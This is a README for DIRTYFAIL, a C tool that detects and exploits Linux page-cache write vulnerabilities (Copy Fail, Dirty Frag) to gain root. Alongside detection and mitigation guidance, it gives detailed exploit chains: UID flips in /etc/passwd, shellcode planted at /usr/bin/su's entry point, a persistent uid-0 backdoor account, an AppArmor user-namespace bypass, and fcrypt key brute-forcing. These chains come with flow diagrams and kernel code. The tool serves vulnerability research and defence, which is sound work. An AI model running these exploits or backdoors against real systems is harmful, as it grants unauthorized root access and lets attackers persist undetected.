
Detector + PoC for Linux page-cache write vulnerabilities: Copy Fail (CVE-2026-31431) and Dirty Frag (CVE-2026-43284/43500). Authorized security research only.
A unified detector and PoC harness for the Copy Fail and Dirty Frag Linux page-cache write vulnerability families.
██████╗ ██╗██████╗ ████████╗██╗ ██╗███████╗ █████╗ ██╗██╗
██╔══██╗██║██╔══██╗╚══██╔══╝╚██╗ ██╔╝██╔════╝██╔══██╗██║██║
██║ ██║██║██████╔╝ ██║ ╚████╔╝ █████╗ ███████║██║██║
██║ ██║██║██╔══██╗ ██║ ╚██╔╝ ██╔══╝ ██╔══██║██║██║
██████╔╝██║██║ ██║ ██║ ██║ ██║ ██║ ██║██║███████╗
╚═════╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝╚══════╝
DIRTYFAIL is a small, well-documented C tool for security researchers. It detects whether a Linux host is vulnerable to the three CVEs in this family, and — with explicit, typed confirmation — runs a real proof-of-concept that drops the caller into a root shell on a vulnerable system.
| CVE / variant | Name | DIRTYFAIL coverage |
|---|---|---|
| CVE-2026-31431 | Copy Fail (algif_aead authencesn page-cache write) | Detect + full PoC |
| CVE-2026-43284 v4 | Dirty Frag — IPv4 xfrm-ESP page-cache write | Detect + full PoC |
| CVE-2026-43284 v6 | Dirty Frag — IPv6 xfrm-ESP page-cache write (esp6) | Detect + full PoC |
| CVE-2026-43500 | Dirty Frag — RxRPC page-cache write | Detect + full PoC |
| Copy Fail GCM variant | xfrm-ESP rfc4106(gcm(aes)) page-cache write | Detect + full PoC |
Bonus modes:
--scan --active — sentinel-STORE active probes. Default --scan
reports per-CVE preconditions (kernel, modules, LSM state) plus an
active probe of the Copy Fail primitive. Adding --active extends
the sentinel-file STORE probe to all four other primitives (ESP v4,
ESP v6, RxRPC, GCM): each fires the kernel trigger against a /tmp
sentinel and reports VULNERABLE only if the marker bytes actually
land. This is the only way to distinguish a backported-patched
kernel (preconds say vulnerable but probe says intact) from an
unpatched one without running the full exploit. /etc/passwd is
never touched. Auto-calibrates V6 STORE shift per kernel build.--exploit-backdoor — persistent uid-0 backdoor: length-matched
overwrite of a nologin/false/sync line in /etc/passwd with
dirtyfail::0:0:<pad>:/:/bin/bash. Survives shell exit until page
is evicted. State stashed at /var/tmp/.dirtyfail.state for
. The username is deliberately
matched to this project so it's instantly identifiable in any
audit — change in if you need a
different identifier for an authorized red-team engagement.DIRTYFAIL has been empirically validated end-to-end across multiple
distros and kernel versions. The matrix below reflects per-mode test
results from running each --exploit-* mode against a fresh install
of each distro.
Legend: ✅ exploit landed and produced real init-ns root · 🛡 mitigated — exploit cannot reach kernel bug (kernel patched OR LSM blocks unprivileged path) · ⏭ not applicable (precondition missing)
--scan --active)The --active flag adds a sentinel-file STORE probe per CVE during
detection. We validated the probe outputs against the same 4 distros
above (Debian, Fedora, AlmaLinux, Ubuntu 26.04) — the matrix below
shows the per-mode probe verdict and matches the full-exploit
ground-truth one-for-one:
The V6 probe's STORE landing offset (8 on Fedora and Alma) matches the
empirical V6_STORE_SHIFT that calibrate_v6_shift() discovers at
runtime — confirming the auto-calibration replaces the previously
hard-coded constant correctly across kernel builds.
¹ GCM and Backdoor require algif_aead to be loadable. Ubuntu 24.04
ships /etc/modprobe.d/disable-algif_aead.conf blacklisting it as a
Copy Fail mitigation. With the blacklist removed (e.g. on a kernel
predating the mitigation), both modes work end-to-end.
² Copy Fail's algif_aead path is mitigated by the modprobe blacklist;
the underlying CVE primitive in the kernel is the same whether
authencesn is reachable. xfrm-ESP, RxRPC, and the GCM variant all
land on the same kernel because they don't go through algif_aead.
³ AlmaLinux 10's kernel-modules-extra package is not installed by
default on a Minimal install, so rxrpc.ko is missing on disk.
Installing kernel-modules-extra-$(uname -r) from EPEL or the AlmaLinux
extras repo brings the module back; on a stock minimal install RxRPC is
unreachable.
⁴ Ubuntu 26.04 LTS comprehensively blocks unprivileged exploitation.
The shipping kernel 7.0.0-15.15 (released 2026-04-22) predates the
mainline patch f4c50a4034e6 (merged 2026-05-07) by ~2 weeks — so
the bug IS still present in the kernel. Ubuntu's defense is
defense-in-depth via AppArmor hardening, not a kernel patch:
apparmor_restrict_unprivileged_userns=1 is enabled by default.unshare(CLONE_NEWUSER), the kernel-level AppArmor enforcement
auto-transitions ANY profile (including (unconfined)-flagged ones
like crun, chrome, default unconfined) to a
<profile>//&unprivileged_userns (mixed) sub-profile that has
audit deny capability. uid 0 inside the new userns gets no caps.change_onexec to a different profile doesn't help — even the
crun profile (which has explicit userns, permission and
flags=(unconfined)) auto-transitions on unshare. Verified via
aa-exec -p crun bash -c 'unshare -U -n cat /proc/self/attr/current'
→ .The DIRTYFAIL binary correctly armes its bypass and reaches stage 2,
but cannot acquire CAP_NET_ADMIN inside the new userns. The exploit
infrastructure is blocked at the LSM layer regardless of bypass
technique. We tested change_onexec(crun), change_onexec(chrome),
aa-exec -p <profile>, and direct unshare(USER|NET) + newuidmap
— all produce the same unprivileged_userns sub-profile.
This is good security work by Canonical. The bug class is mitigated for unprivileged users without requiring a kernel rebuild. A subsequent stable update will likely also bring the kernel patch proper, completing the defense.
⁵ --exploit-su shellcode injection depends on the same Copy Fail
algif_aead 4-byte primitive (cf_4byte_write). On kernels where
Copy Fail is patched (Debian 13.4) or LSM-blocked (Ubuntu 26.04 — but
the algif_aead path was also patched in 7.0.0-15), the plant runs
through but the verify step fails ("page cache does not match planted
shellcode") and the auto-revert restores /usr/bin/su. Tested
end-to-end on AlmaLinux 10.1 (entry point at file offset 0x45b0)
and Fedora 44 (offset 0x1b60); ELF parser handles each distro's
PIE base independently. Real-root proof on Fedora 44:
uid=0(root) gid=0(root) ... context=unconfined_u:unconfined_r:unconfined_t.
Test reproducibility:
clean-build Parallels snapshot, then ran all 5 exploit modes with --no-shell (auto-revert via fadvise + drop_caches).--exploit-* output, looking for the success signals: page cache now reports <user> with uid 0, root password field is now empty, is now uid 0 (backdoor), or any of the failure patterns (write did not land, byte flip failed, setresuid: Invalid, add_rxrpc_key: No such device, page cache not in expected shape).echo "" | su - root / and confirmed plus successful read of .Authorized testing only. Use DIRTYFAIL only on systems you own or are explicitly engaged to assess. The exploit modes corrupt
/etc/passwdin the kernel page cache (the on-disk file is never touched). Cleanup isdirtyfail --cleanuporecho 3 > /proc/sys/vm/drop_caches.
Companion docs:
docs/DEFENDERS.md — sysadmin playbook: am I vulnerable, how to mitigate, what to monitor.docs/RESEARCH.md — kernel-source audit of adjacent paths (AH, IPCOMP, MACsec, kTLS, etc.) for the same bug class.tools/dirtyfail-check.sh — standalone bash detector for sysadmins (no compilation needed).tools/99-dirtyfail.rules — ready-to-load auditd rules for the exploit chain.tools/dirtyfail-container-escape.sh — cross-namespace blast-radius demo.tools/exploit_su_aarch64.S — aarch64 (ARM64) shellcode source for --exploit-su. Hardware-untested; ships gated behind DIRTYFAIL_AARCH64_TRUST_UNTESTED=1. Regenerate the corresponding bytes in with to verify.Page-cache write vulnerabilities let an unprivileged user modify
the kernel's in-memory copy of a file they only have read access to.
The on-disk file is never written; the modification persists in RAM
until the page is evicted (drop_caches, memory pressure, or reboot).
This class started with Dirty Pipe (CVE-2022-0847), which abused
pipe_buffer flags. Copy Fail and Dirty Frag are descendants that
target the frag member of struct sk_buff instead. The mechanism is
always the same:
splice()s a page-cache page from a readable file (e.g.
/etc/passwd, /usr/bin/su) into the frag of a kernel buffer.Because the bug is a deterministic logic flaw, not a race, success rates are essentially 100% and the kernel does not panic on failure.
72548b093ee3 (2017)a664bf3d (mainline 6.12 / 6.17 / 6.18 stables)The kernel's algif_aead module exposes the AEAD crypto API to
userspace via AF_ALG. The authencesn(hmac(sha256), cbc(aes))
template implements RFC-4303 ESN (Extended Sequence Numbers); part of
its decryption path performs a 4-byte scratch write to rearrange
the sequence number:
static int crypto_authenc_esn_decrypt(struct aead_request *req)
{
/* Move high-order bits of sequence number to the end. */
scatterwalk_map_and_copy(tmp, src, 0, 8, 0);
if (src == dst) {
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1); // ★
...
The STORE at ★ is harmless on a normal IPsec packet — it lands inside
the skb's tag area, which is kernel-owned. The crypto template
assumes src and dst point into kernel memory.
algif_aead violates that assumption. It accepts splice() from
userspace, which plants page-cache pages into the request's
scatterlist. Because the AEAD runs in-place (req->dst = req->src),
the page-cache page now sits at the destination scatterlist offset
that the scratch write targets.
The 4 bytes that get written are bytes 4..7 of the AAD that userspace sent — the "seqno_lo" field of an ESP header, which the attacker fills with whatever they want.
Net primitive: 4-byte arbitrary-offset write into the page cache
of any file the attacker can open(O_RDONLY).
The simplest weaponization is in /etc/passwd. A normal user line
looks like:
kara:x:1000:1000:Kara,,,:/home/kara:/bin/bash
Flipping 1000 (the UID field, exactly 4 ASCII bytes for any UID
1000–9999) to 0000 makes glibc's getpwnam() report uid=0 for
that user. PAM, however, still authenticates against the on-disk
/etc/shadow (which is untouched), so su <user> prompts for the
real password, validates it, then setuid(0) — and lands at root
because the page-cache copy of /etc/passwd says we are root.
/etc/shadow integrity is preserved. On-disk /etc/passwd is
preserved. Only the kernel's RAM copy of /etc/passwd is corrupted,
and only until drop_caches or reboot.
cac2661c53f3 (2017-01-17)f4c50a4034e6 (mainline net.git, merged 2026-05-07)esp_input() is supposed to call skb_cow_data() before in-place AEAD
decryption when an skb is non-linear (i.e. has frags). The code path
has a short-circuit:
if (!skb_cloned(skb)) {
if (!skb_is_nonlinear(skb)) {
nfrags = 1;
goto skip_cow;
} else if (!skb_has_frag_list(skb)) { // ★ bug
nfrags = skb_shinfo(skb)->nr_frags;
nfrags++;
goto skip_cow;
}
}
If the skb has frags but no frag_list, esp_input bypasses
skb_cow_data and hands the user-supplied frag straight to the AEAD
template. The same authencesn(...) scratch write that powers Copy
Fail then lands at file offset (assoclen + cryptlen) of the spliced
page.
The 4 STOREd bytes are seq_hi from the SA's replay_esn state —
attacker-controlled at SA registration time via the
XFRMA_REPLAY_ESN_VAL netlink attribute.
Cost: registering an XFRM SA needs CAP_NET_ADMIN, so the
attacker enters a fresh user namespace via unshare(CLONE_NEWUSER)
first. This is allowed by default on most distros (Ubuntu's hardened
profile is the notable exception).
Crucially, this primitive works even when the algif_aead Copy Fail
mitigation is in place — the xfrm path doesn't go through algif_aead.
A defender who only blacklisted algif_aead is still vulnerable to
Dirty Frag.
V4bel's published PoC writes a 192-byte static "root-shell" ELF over
the first 192 bytes of /usr/bin/su's page cache, using 48 sequential
4-byte STOREs. After modification, execve("/usr/bin/su") runs the
new ELF entry point with the setuid-root bit intact, drops PAM
entirely, and execve("/bin/sh") from inside the shellcode.
DIRTYFAIL takes the simpler /etc/passwd UID-flip approach (one
4-byte STORE — the same target as Copy Fail) for two reasons:
POSIX_FADV_DONTNEED and does not
leave /usr/bin/su in a corrupt state for other users on the
system.lore.kernel.org/all/afKV2zGR6rrelPC7@v4bel/2dc334f1a63a (2023-06)rxkad_verify_packet_1() performs an in-place pcbc(fcrypt)
single-block decryption on the first 8 bytes of an RxRPC data packet:
sg_init_table(sg, ARRAY_SIZE(sg));
ret = skb_to_sgvec(skb, sg, sp->offset, 8);
memset(&iv, 0, sizeof(iv));
skcipher_request_set_crypt(req, sg, sg, 8, iv.x); // ★ src == dst
ret = crypto_skcipher_decrypt(req); // ★ 8-byte STORE
If a page-cache page has been spliced into the skb's frag, the 8-byte decrypt is performed on top of it.
Difference from xfrm-ESP: the 8 bytes that get STOREd are
fcrypt_decrypt(C, K), where C is the existing ciphertext at that
file offset and K is the session key from an RxRPC v1 token the
attacker registered via add_key("rxrpc", ...). The attacker doesn't
control the STORE value directly — they have to brute-force K until
fcrypt_decrypt(C, K) produces the desired plaintext.
fcrypt is an Andrew File System cipher with a 56-bit key and
8-byte block. It is deterministic; it ports cleanly to user space; and
its key space is small enough that a constrained 8-byte target can be
brute-forced in milliseconds to seconds depending on the constraint
budget.
Crucially, this path does NOT need namespace privileges —
add_key, socket(AF_RXRPC), socket(AF_ALG), splice are all
available to any unprivileged user. RxRPC fills the gap on Ubuntu's
hardened-userns profile (where xfrm-ESP is blocked) because
rxrpc.ko ships in the default Ubuntu build.
The full exploit:
K_A, K_B, K_C in user-space such that the three
STOREs at /etc/passwd offsets 4, 6, 8 produce
"::", "0:", "0:GGGGGG:" respectively (last-write-wins).K_i, register an RxRPC v1 token with add_key, perform
a forged AF_RXRPC handshake against a fake UDP server in the same
process, and trigger rxkad_verify_packet_1 via splice./etc/passwd line 1 is now
root::0:0:GGGGGG:/root:/bin/bash — an empty password field.pam_unix.so nullok accepts the empty password; su -
drops a root shell.DIRTYFAIL ships both detection and a full PoC for this CVE.
The DIRTYFAIL implementation lives in src/dirtyfrag_rxrpc.c and
src/fcrypt.c:
fcrypt.c): 56-bit key, 8-byte block, 16-round
Feistel; standard rxkad protocol S-boxes. Includes a single-core
brute-force harness (~18 Mops/s) that searches the key space until
a candidate plaintext satisfies a caller-supplied predicate.compute_csum_iv, compute_cksum): kernel
formula reproduced via AF_ALG pcbc(fcrypt) so that the wire cksum
in our forged DATA packet passes rxkad_verify_packet's gate.build_rxrpc_v1_token): XDR-encoded
rxkad token registered via add_key("rxrpc", ...) with our
brute-forced session key.conn->rxkad.cipher with our key.do_one_trigger): vmsplice forged DATA wire
header → splice 8 bytes from /etc/passwd → splice pipe → udp_srv
→ recvmsg drives kernel through → 8-byte
STORE.The final PoC reshapes /etc/passwd line 1 to:
root::0:0:GGGGG:/root:/bin/bash
— empty password field — and execlp("su", "-") then drops a root
shell because pam_unix.so nullok accepts an empty password.
For comparison and verification against the upstream PoC, see
V4bel's exp.c: https://github.com/V4bel/dirtyfrag.
DIRTYFAIL is a single C binary built from ~10 source modules. The high-level structure:
┌─────────────────────────────────────────┐
│ dirtyfail (CLI) │
│ src/dirtyfail.c — argv → mode dispatch │
└────────────────┬────────────────────────┘
│
┌──────────────────┬───────┼───────┬─────────────────┬───────────┐
│ │ │ │ │ │
▼ ▼ ▼ ▼ ▼ ▼
┌──────────────┐ ┌─────────────────┐ ┌──────────────┐ ┌──────────┐ ┌────────────┐
│ --scan │ │ --exploit-* │ │ --backdoor │ │--mitigate│ │ --cleanup* │
│ (detect.c) │ │ (5 modes) │ │ install + │ │ defense │ │ revert │
│ │ │ │ │ cleanup │ │ │ │ │
└──────┬───────┘ └────────┬────────┘ └──────┬───────┘ └────┬─────┘ └────────────┘
│ │ │ │
│ ┌────────────────┼──────────────────┼────────────────┘
│ │ │ │
▼ ▼ ▼ ▼
┌──────────────┐ ┌──────────────────┐ ┌──────────────────┐
│ apparmor_ │ │ outer (init ns) │ │ cfg_1byte_write │
│ bypass.c │ │ → fork → child │ │ (gcm primitive) │
│ │ │ outer/inner │ │ │
│ * sysctl │ │ split │ │ used by gcm + │
│ * caps_blocked │ │ │ backdoor for │
│ * fork_arm │ │ parent stays │ │ arbitrary-byte │
└──────┬───────┘ │ in init ns, │ │ writes │
│ │ child re-execs │ └────────┬─────────┘
│ │ via change_ │ │
▼ │ onexec(crun) + │ ▼
┌──────────────┐ │ AA stage 1/2 │ ┌──────────────────┐
│ stage 1/2 │ │ unshare + caps │ │ AF_ALG ecb(aes) │
│ handler │ │ → run inner │ │ keystream brute │
└──────────────┘ └──────────────────┘ │ force │
└──────────────────┘
Per-CVE primitives (each has detect/exploit/exploit_inner functions):
┌──────────────────────────────────────────────────────────────────────┐
│ copyfail.c algif_aead authencesn 4-byte STORE (CVE-2026-31431) │
│ copyfail_gcm.c rfc4106(gcm(aes)) 1-byte STORE (CVE-2026-43284) │
│ dirtyfrag_esp.c xfrm-ESP IPv4 4-byte STORE (CVE-2026-43284) │
│ dirtyfrag_esp6.c xfrm-ESP IPv6 4-byte STORE w/ +9 (CVE-2026-43284) │
│ dirtyfrag_rxrpc.c rxkad 8-byte STORE + fcrypt brute (CVE-2026-43500) │
│ fcrypt.c rxkad cipher (56-bit Feistel) │
│ backdoor.c persistent /etc/passwd line overwrite │
└──────────────────────────────────────────────────────────────────────┘
Key design decisions:
execlp("su", user) reaches REAL init-ns root. See §8.5
Architecture.DIRTYFAIL_INNER_MODE,
DIRTYFAIL_TARGET_USER, DIRTYFAIL_K_{A,B,C} (rxrpc),
DIRTYFAIL_LINE_OFF etc. (backdoor). execv preserves the
environment across stage transitions.--mitigate deploys the same blacklists +
sysctl hardening that distros ship as official mitigations.
--scan detects when caps are LSM-blocked and reports
"mitigated" rather than misleading "VULNERABLE preconditions met".gcc or clang, make.<linux/xfrm.h>, <linux/netlink.h>,
<linux/rtnetlink.h>, <linux/if.h>.| Distro | Install |
|---|---|
| Debian / Ubuntu | sudo apt install build-essential linux-libc-dev |
| RHEL / CentOS | sudo dnf install gcc make kernel-headers glibc-devel |
git clone https://github.com/<you>/DIRTYFAIL.git
cd DIRTYFAIL
make # release build → ./dirtyfail
make debug # -O0 -g3 for gdb
make static # static link (musl-gcc recommended)
make clean
The default build produces a single ~80 KB binary at ./dirtyfail.
For a portable build that runs on any kernel-compatible Linux without
glibc dependency drift:
make static CC=musl-gcc
(install musl-tools on Debian/Ubuntu, or build musl from source).
./dirtyfail --help is the canonical reference; the modes broken
out by category:
Detection (safe; no system modification):
Exploitation (typed-confirmation gated; corrupts /etc/passwd page cache):
Cleanup / state inspection:
Defensive (root required):
| Mode |
|---|
Common options:
Plain scan (preconditions only — fast, ~1s):
./dirtyfail --scan
Active sentinel probe per CVE (~10s, modifies /tmp sentinels only):
./dirtyfail --scan --active
JSON for SIEM/fleet ingestion:
$ ./dirtyfail --scan --active --json
{
"tool": "dirtyfail",
"version": "0.1.0",
"hostname": "server-01",
"kernel": "6.19.10-300.fc44.x86_64",
"machine": "x86_64",
"active_probes": true,
"results": [
{"cve": "CVE-2026-31431", "name": "copyfail", "status": "vulnerable"},
{"cve": "CVE-2026-43284", "name": "dirtyfrag-esp", "status": "vulnerable"},
{"cve": "CVE-2026-43284-v6", "name": "dirtyfrag-esp6", "status": "vulnerable"},
{"cve": "CVE-2026-43500", "name": "dirtyfrag-rxrpc", "status": "vulnerable"},
{"cve": "CVE-2026-31431-gcm", "name": "copyfail-gcm", "status": "vulnerable"}
],
"summary": "vulnerable"
}
Status values: vulnerable, not_vulnerable, preconds_missing,
test_error. The summary echoes the worst across results.
./dirtyfail --exploit-copyfail # UID-flip + drop into root via su
./dirtyfail --exploit-su # plant /bin/sh shellcode at /usr/bin/su entry
./dirtyfail --exploit-copyfail --no-shell # plant + verify + auto-revert (CI-safe)
Each exploit prompts for DIRTYFAIL + (where applicable)
YES_BREAK_SSH before any page-cache modification.
./dirtyfail --list-state # what's currently planted? (side-effect free)
./dirtyfail --cleanup # fadvise(DONTNEED) + drop_caches if root
./dirtyfail --cleanup-backdoor # restore /etc/passwd from .dirtyfail.state
./dirtyfail --cleanup-su # restore /usr/bin/su from .dirtyfail-su.state
Or fall through to the kernel directly:
sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'
Detection actually triggers the primitive against a sentinel file in
/tmp:
socket(AF_ALG, SOCK_SEQPACKET, 0) and bind to
authencesn(hmac(sha256), cbc(aes))./tmp and fault its first page
into the cache.sendmsg AAD with
seqno_lo = "PWND", splice 32 bytes of the sentinel into the AF_ALG
op socket, drive recv to fire the scratch write.PWND anywhere in the first
page.Marker found ⇒ vulnerable. Marker absent but page contents differ ⇒ the primitive partially fired (still vulnerable). Page identical ⇒ not vulnerable on this kernel.
--active)Default --scan is precondition-only — we don't enter a user
namespace in detect mode (it would side-effect networking inside
that namespace). We check:
esp4 / esp6 currently loaded or autoloadableunshare(CLONE_NEWUSER))apparmor_userns_caps_blocked() returns falseAll four present ⇒ VULNERABLE (preconditions met).
--scan --active extends this with a sentinel-STORE probe: we fork
a child that arms the AA bypass, enters a fresh user/net namespace,
registers an XFRM SA, and fires the ESP-in-UDP trigger against a
/tmp/dirtyfail-esp-probe.XXXXXX sentinel file. The parent re-reads
the sentinel and looks for the marker bytes:
This is the only way to distinguish a backported-patched kernel
from an unpatched one without running the full UID-flip exploit
against /etc/passwd. The same pattern is used for ESP v6, RxRPC,
and GCM under --active.
--active)Preconditions:
rxrpc in /proc/modules or autoloadablesocket(AF_RXRPC, SOCK_DGRAM, 0) succeedsActive probe (--active): forks via AA bypass, registers an rxrpc
session key with an arbitrary 8-byte value, sends one CHALLENGE +
DATA forgery against a /tmp sentinel, looks for ANY byte change
inside the spliced 8-byte window. We don't try to predict what
landed — any modification confirms the kernel STORE fires.
The GCM variant active probe installs a transport-mode SA with an
arbitrary IV and fires gcm_trigger against a /tmp sentinel; ANY
byte change at sentinel[0] confirms reachability. The ESP v6 probe
also auto-calibrates V6_STORE_SHIFT per kernel build (see
calibrate_v6_shift in src/dirtyfrag_esp6.c) — different distros'
esp6_input builds put the STORE at slightly different offsets
inside the spliced region, and the calibration probe discovers the
exact offset before the real exploit fires.
copyfail.c)Single 4-byte STORE through algif_aead:
[/etc/passwd page cache]
user ──sendmsg(AAD = SPI||"0000")──▶ AF_ALG op
──splice(passwd_fd, 32B)──────▶ AF_ALG op (in-place dst SGL)
──recv()─────────────────────▶ kernel runs authencesn_decrypt
scratch write: "0000" → uid_off
EBADMSG returned to user (we ignore)
user ──open(passwd, RDONLY)─read──▶ "kara:x:0000:1000:..." ◄─ page cache
user ──execlp("su", "kara")──────▶ PAM ✓ on /etc/shadow → setuid(0)
─────► root shell
dirtyfrag_esp.c)Same end-state as Copy Fail, reached through xfrm_input instead of
algif_aead:
[/etc/passwd page cache]
unshare(USER|NET); setup uid_map; ifup lo
NETLINK_XFRM ─NEWSA(seq_hi="0000", encap=ESPINUDP/4500)─▶ kernel
udp_recv bind 127.0.0.1:4500, UDP_ENCAP_ESPINUDP
udp_send connect 127.0.0.1:4500
vmsplice ESP wire header (24B) ─▶ pipe
splice /etc/passwd@uid_off (16B) ─▶ pipe
splice pipe (40B) ─▶ udp_send
udp loopback ─▶ udp_recv (UDP_ENCAP) ─▶ xfrm_input ─▶ esp_input
skb has frags, no frag_list ─▶ goto skip_cow (THE BUG)
crypto_authenc_esn_decrypt:
scratch_write(seq_hi="0000" → page_addr+uid_off) ◄─ 4-byte STORE
AEAD auth fails (EBADMSG) — but the STORE is permanent
page-cache copy of /etc/passwd now reports uid 0 for the user
Then exit the namespace, execlp("su", user) from the parent — same
final step as Copy Fail.
dirtyfrag_rxrpc.c + fcrypt.c) [/etc/passwd page cache]
user-space brute force of K_A, K_B, K_C such that fcrypt_decrypt(C, K)
produces predicate-satisfying plaintexts for offsets 4, 6, 8
(chained-ciphertext correction across passes)
fork → child enters new userns:
unshare(USER|NET); setup uid_map; ifup lo
socket(AF_RXRPC) — autoload rxrpc.ko
for each (off, K) in [(4,K_A), (6,K_B), (8,K_C)]:
add_key("rxrpc", "df-evil<n>", v1_token{session_key=K})
udp_srv = bind 127.0.0.1:port_S
rxsk = AF_RXRPC + SECURITY_KEY=df-evil<n> + bind :port_C
rxsk → sendmsg(PINGPING) triggers handshake init
udp_srv ← receives kernel's first DATA-0
extract (epoch, cid, callNumber)
udp_srv → forged CHALLENGE → rxsk auto-RESPONSE
primes conn->rxkad.cipher with K
csum_iv = AF_ALG pcbc(fcrypt)(epoch||cid||0||sec_ix, IV=K)
cksum_h = AF_ALG pcbc(fcrypt)(call_id||x, IV=csum_iv)[1] >> 16
vmsplice DATA hdr (28B) → pipe
splice /etc/passwd@off (8B) → pipe
splice pipe (36B) → udp_srv
udp loopback → rxsk
recvmsg → rxrpc_input → rxkad_verify_packet
skb has frags, no frag_list → goto skip_unshare (THE BUG)
skcipher_request_set_crypt(req, sg=page+off, sg=page+off, 8, iv=0)
crypto_skcipher_decrypt: pcbc(fcrypt)
page[off..off+8] = fcrypt_decrypt(C_actual, K) ◄─ 8-byte STORE
child exits, parent verifies /etc/passwd[4..5] == "::"
parent: execlp("su", "-")
PAM common-auth: pam_unix.so nullok → root has empty password
su → setresuid(0,0,0) → exec /bin/bash
─────► root shell
--exploit-su shellcode injection (exploit_su.c)A second /etc/passwd-free attack chain modeled on V4bel's reference
exploit. Instead of editing /etc/passwd's page cache, we plant
arch-specific shellcode at /usr/bin/su's ELF entry point in its
page cache; the next time anyone exec's /usr/bin/su, the kernel
sets euid=0 from the on-disk setuid bit, the dynamic linker
resolves, and control transfers to our shellcode → /bin/sh as
real init-ns root. No PAM dependency, bypasses pam_unix nullok
removal entirely.
parent (init ns)
│ stat /usr/bin/su; verify setuid+root
│ parse ELF header; resolve e_entry → file offset
│ pread() N bytes at file_offset → /var/tmp/.dirtyfail-su.state
│ for each 4-byte chunk of shellcode:
│ cf_4byte_write("/usr/bin/su", file_offset+i, chunk)
│ pread() back; verify match
│ if --no-shell:
│ plant_shellcode(original) # revert via re-write
│ fadvise(DONTNEED) on a new fd # evict if possible
│ else:
│ execl("/usr/bin/su", "su", NULL) ─►
│ kernel exec /usr/bin/su (setuid root)
│ ld-linux.so resolves
│ jumps to e_entry → our shellcode
│ setuid(0); setgid(0);
│ execve("/bin/sh", argv, NULL)
▼ ────► root shell
Architecture matrix:
uid=0(root) gid=0(root) ... context=unconfined_u:unconfined_r:unconfined_t). Shellcode in
shellcode_x86_64[].DIRTYFAIL_AARCH64_TRUST_UNTESTED=1. Source ships in
tools/exploit_su_aarch64.S for community verification — assemble
with aarch64-linux-gnu-as and confirm the byte sequence matches
shellcode_aarch64[].The state file /var/tmp/.dirtyfail-su.state stashes the original
entry-point bytes so --cleanup-su can restore. --list-state
inspects this file (and the backdoor's) without touching anything.
If the verify step finds the page cache doesn't match the planted shellcode (kernel patched, AF_ALG blacklisted, etc.), the auto-revert fires immediately and the state file is removed — no need for the operator to run cleanup-su afterward.
All five exploit modes share a common architecture for handling
Ubuntu's apparmor_restrict_unprivileged_userns=1 policy without
trapping the post-exploit su inside a userns where it can't reach
real init-ns root.
A naive bypass puts the whole dirtyfail process inside a fresh
user namespace via unshare(CLONE_NEWUSER). That's enough to register
XFRM SAs and fire splice triggers — but it also means the eventual
execlp("su", user) runs inside the userns, where uid 0 is mapped via
uid_map "0 1000 1" to the operator's outer uid (1000). PAM's
setresuid(0) then lands at userns-uid-0-mapped-to-1000, which is
not real init-ns root — cat /etc/shadow returns EACCES, the
shell can't actually do privileged operations.
parent (dirtyfail, init ns) child (bypass userns)
───────────────────────── ─────────────────────
prompts (DIRTYFAIL / YES_BREAK_SSH)
resolve target (uid_off, K_A/K_B/K_C, ...)
setenv DIRTYFAIL_INNER_MODE=...
setenv DIRTYFAIL_TARGET_USER=...
fork ─────────────────────────────────────► change_onexec("crun")
execv self ─► STAGE-1
execv self ─► STAGE-2
unshare(USER|NET)
uid_map / capset
ifup lo
main() detects INNER_MODE
dispatch <mode>_inner()
register XFRM SA
splice trigger → page cache STORE
_exit(DF_EXPLOIT_OK)
waitpid ◄───────────────────────────────── (child reaped)
read /etc/passwd (page cache is global)
verify modification visible
if do_shell:
execlp("su", user) ← runs IN INIT NS
PAM auth → setresuid(0)
→ REAL init-ns root shell
else:
try_revert_passwd_page_cache
The parent never enters a user namespace. The child does the
bypass + kernel work, modifies the global page cache (which is shared
across namespaces — the only "bridge" we need), and exits. The
parent's su is then a normal init-namespace setresuid call.
execv preserves the environment, so the parent stashes the
operation parameters in env vars before forking. Each mode defines
its own:
After stage 2 of the bypass completes, main() checks
DIRTYFAIL_INNER_MODE and dispatches to <mode>_exploit_inner(). The
inner does only the kernel work (no prompts, no fork, no su) and
exits with the result code. The parent reaps it via waitpid and
proceeds with verification.
The earlier two-hop dance (change_onexec("crun") → change_onexec("chrome"))
caused intermittent ENOSPC failures on Ubuntu 24.04 in our exec
chain (likely a per-profile userns-accounting wrinkle). The single
hop into crun is sufficient — crun's AppArmor profile has
flags=(unconfined) and explicit userns, permission, so unshare
succeeds and stays succeeded.
After stage 2 completes successfully, a process-local
g_bypass_done flag is set. If apparmor_bypass_needed() is called
again in the same process, it short-circuits to false, preventing
the post-exploit code from re-arming and nesting another userns
layer (which previously hit the per-userns nesting cap as ENOSPC).
--aa-bypass is now a debug-only flagIn the old architecture, --aa-bypass armed a whole-process bypass
before the exploit dispatch. In the new architecture, exploit modes
do their own fork-based bypass internally; the flag is no longer
needed for normal use. It's retained for debugging the bypass
mechanics in isolation (e.g. running --scan inside a bypass
userns), with a warning that it may break post-exploit su.
a664bf3d; backports landed on the
6.12 / 6.17 / 6.18 stable lines.algif_aead:
echo 'install algif_aead /bin/false' | sudo tee /etc/modprobe.d/copyfail.conf
sudo rmmod algif_aead 2>/dev/null
f4c50a4034e6 (merged 2026-05-07).
Distro backports rolling out as of 2026-05-08.esp4 and esp6:
sudo tee /etc/modprobe.d/dirtyfrag-esp.conf <<'EOF'
install esp4 /bin/false
install esp6 /bin/false
EOF
sudo rmmod esp4 esp6 2>/dev/null
sudo sysctl vm.drop_caches=3
sudo sysctl -w kernel.unprivileged_userns_clone=0
rxrpc:
sudo tee /etc/modprobe.d/dirtyfrag-rxrpc.conf <<'EOF'
install rxrpc /bin/false
EOF
sudo rmmod rxrpc 2>/dev/null
sudo sysctl vm.drop_caches=3
sudo sh -c '
cat > /etc/modprobe.d/dirtyfail.conf <<EOF
install algif_aead /bin/false
install esp4 /bin/false
install esp6 /bin/false
install rxrpc /bin/false
EOF
rmmod algif_aead esp4 esp6 rxrpc 2>/dev/null
sysctl vm.drop_caches=3
'
dirtyfail --mitigateThe same set of mitigations is wrapped in a typed-confirmation gated defensive mode:
sudo ./dirtyfail --mitigate
This drops in /etc/modprobe.d/dirtyfail-mitigations.conf and
/etc/sysctl.d/99-dirtyfail-mitigations.conf, unloads the four
modules, and drop_caches. Reverts via sudo ./dirtyfail --cleanup-mitigate. Side-effects: breaks IPsec, AFS clients, and
